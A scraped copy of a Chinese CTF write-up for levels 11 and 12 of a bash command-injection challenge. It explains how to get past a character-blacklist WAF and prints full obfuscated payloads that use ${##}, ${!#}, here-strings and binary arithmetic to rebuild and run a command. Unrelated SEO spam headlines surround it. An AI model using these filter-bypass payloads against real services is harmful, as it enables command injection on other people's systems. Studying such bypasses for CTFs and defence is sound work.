当前位置: 首页 > news >正文

国内商城网站建设中铁建设集团门户员工登录

国内商城网站建设,中铁建设集团门户员工登录,企业展厅设计哪里好,室内设计高端网站Level 11 分析源码 主要关注 preg_match("/[A-Za-z1-9\"%*,-.\/:;>?[\]^|]/", $cmd) 过滤字符的变化发现比起上一关, 这一关可以使用的数字只有 0归纳一下, 能用的字符有 #, $, (, ), 0, <, \, {, } 解题分析 而没有了 1, 怎么表示二进制呢?这个时…

Level 11

分析源码

  • 主要关注 preg_match("/[A-Za-z1-9\"%*+,-.\/:;=>?@[\]^|]/", $cmd)` 过滤字符的变化
  • 发现比起上一关, 这一关可以使用的数字只有 0
  • 归纳一下, 能用的字符有
    • #, $, (, ), 0, <, \, {, }

解题分析

  • 而没有了 1, 怎么表示二进制呢?
  • 这个时候就需要使用间接扩展特性中的${#xxx}, 它用于表示变量 xxx 存储的字符串长度
    • sh-5.1# a=1
      sh-5.1# echo ${#a}
      1
      
  • 而前几关提到 ${#}代表传递给当前脚本的参数个数, 虽说他没有办法作为 1 使用, 但是 # 可以作为变量, 而其存储的 0 的长度为 1
    sh-5.1# echo $#
    0
    sh-5.1# echo ${##}
    1
    
    • 所以我们只需要把上关的 Paylaod 中的 1, 全部换为 ${##} 即可
    • 上关的Payload为
      $0<<<$0\<\<\<\$\'\\$(($((1<<1))#10001111))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10100100))\\$(($((1<<1))#101000))\\$(($((1<<1))#111001))\\$(($((1<<1))#10010010))\\$(($((1<<1))#10011010))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10010011))\'
      
    • 替换后为
      $0<<<$0\<\<\<\$\'\\$(($((${##}<<${##}))#${##}000${##}${##}${##}${##}))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}0${##}00${##}00))\\$(($((${##}<<${##}))#${##}0${##}000))\\$(($((${##}<<${##}))#${##}${##}${##}00${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}0))\\$(($((${##}<<${##}))#${##}00${##}${##}0${##}0))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}${##}))\'
      

解题步骤

  • 似乎出题人察觉到了, GET请求的最大长度已经不满足于现在的Payload了(后面查了一下, 发现其实距离超出限制还远远不到)
  • 所以这一关采用了 POST 请求(应该是省的URL转换吧)
  • 当然也就不在需要使用 URL编码 了

请添加图片描述

Level 12

源码分析

  • 这一关并未给出源码
    • 似乎是因为本关考察点在 PHP 的 system 中并不支持
    • 所以在 Python 的 Flask 环境下使用subprocess模块来执行命令
    • 并给我们一个虚拟终端
  • 不过还是告诉了 WAF 是什么
    "WAF:[A-Za-z0-9"%*+,-.\/:;=>?@[\]^`|&_~]"
    
  • 也就是说这一关中, 任何一个数字都使用不了了
  • 不过以下几个符号还是可以使用的
    ! # $ ' ( ) < \ { }
    

解题分析

  • 这里就要使用间接扩展特性中的${!xxx}, 它表示用xxx的值作为另一个变量的名字, 然后取出那个变量的值
    • sh-5.1# a=0
      sh-5.1# echo ${!a}
      /bin/sh
      
    • ${!a} 就相当于 $0
    • 这样就找到 $0 代替 bash 的平替了
  • 然后 ${#} 为传递给当前脚本的参数个数, 也就是 0
  • 现在就可以把上一关的 Payload 拿来修改了
    $0<<<$0\<\<\<\$\'\\$(($((${##}<<${##}))#${##}000${##}${##}${##}${##}))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}0${##}00${##}00))\\$(($((${##}<<${##}))#${##}0${##}000))\\$(($((${##}<<${##}))#${##}${##}${##}00${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}0))\\$(($((${##}<<${##}))#${##}00${##}${##}0${##}0))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}${##}))\'
    
  • 修改后
    ${!#}<<<${!#}\<\<\<\$\'\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${##}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${##}${#}${#}))\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${#}))\\$(($((${##}<<${##}))#${##}${##}${##}${#}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${#}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${##}${#}${##}${#}))\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${##}))\'
    

解题步骤

  • 既然给我们了UI界面, 那直接使用输入Payload就行了
  • 请添加图片描述
http://www.dtcms.com/a/402407.html

相关文章:

  • 儿童网站源码网络培训师
  • 做网站新闻移动动态工业互联网平台建设及推广指南
  • 学习网站建设好找工作吗学校网站开发图片素材
  • 网站开发前端和后端的区别抖音个人主页模板
  • 电子商务网站软件建设的Wordpress自建主题视频百度云下载
  • 法语网站建设湖北网站建设联系电话
  • 制作网页的网站叫什么业务员怎样网上找客户
  • 个人网站案例山东烟台建设厅网站
  • 建站之星做的网站如何导出建立网站链接结构的基本方式有
  • 网站挂直播连接怎么做交互式多媒体网站开发
  • 上海做一个公司网站多少钱企业网站php开源系统
  • 深圳外贸网站公司拓者设计吧注册码
  • 网站线框图刷赞网站推广空间免费
  • 网站突然被降权怎么办青岛企业建站
  • 傻瓜式大型网站开发工具网站构建的一般流程是什么
  • 做网站大概需要多少钱门户网站布局
  • 网站建设服务流程seo案例分享
  • 哪里可以做寄生虫网站淘宝做推广网站
  • 网站建设开票规格明细单位怎么写做环保网站案例分析
  • 一屏一屏的网站怎么做免费查询公司信息
  • 网站慢用台服务器做跳板美食网站开发计划
  • 配送网站开发编程软件排行榜
  • 网站建设的价值是什么意思专业网站建设经费申请报告
  • 7有免费建网站拨付网站建设费用的报告
  • 黄平网站制作手机版做我女朋友网站
  • 论文查重网站建设怎么知道网站关键词的搜索来源
  • 南通营销型网站在html中做网站 视频
  • 查答案的网站制作模板做一些好玩的个人网站
  • 如何设计网站做网站用什么软件建设局怎么进
  • 网站制作哪家好黄山网站开发jidela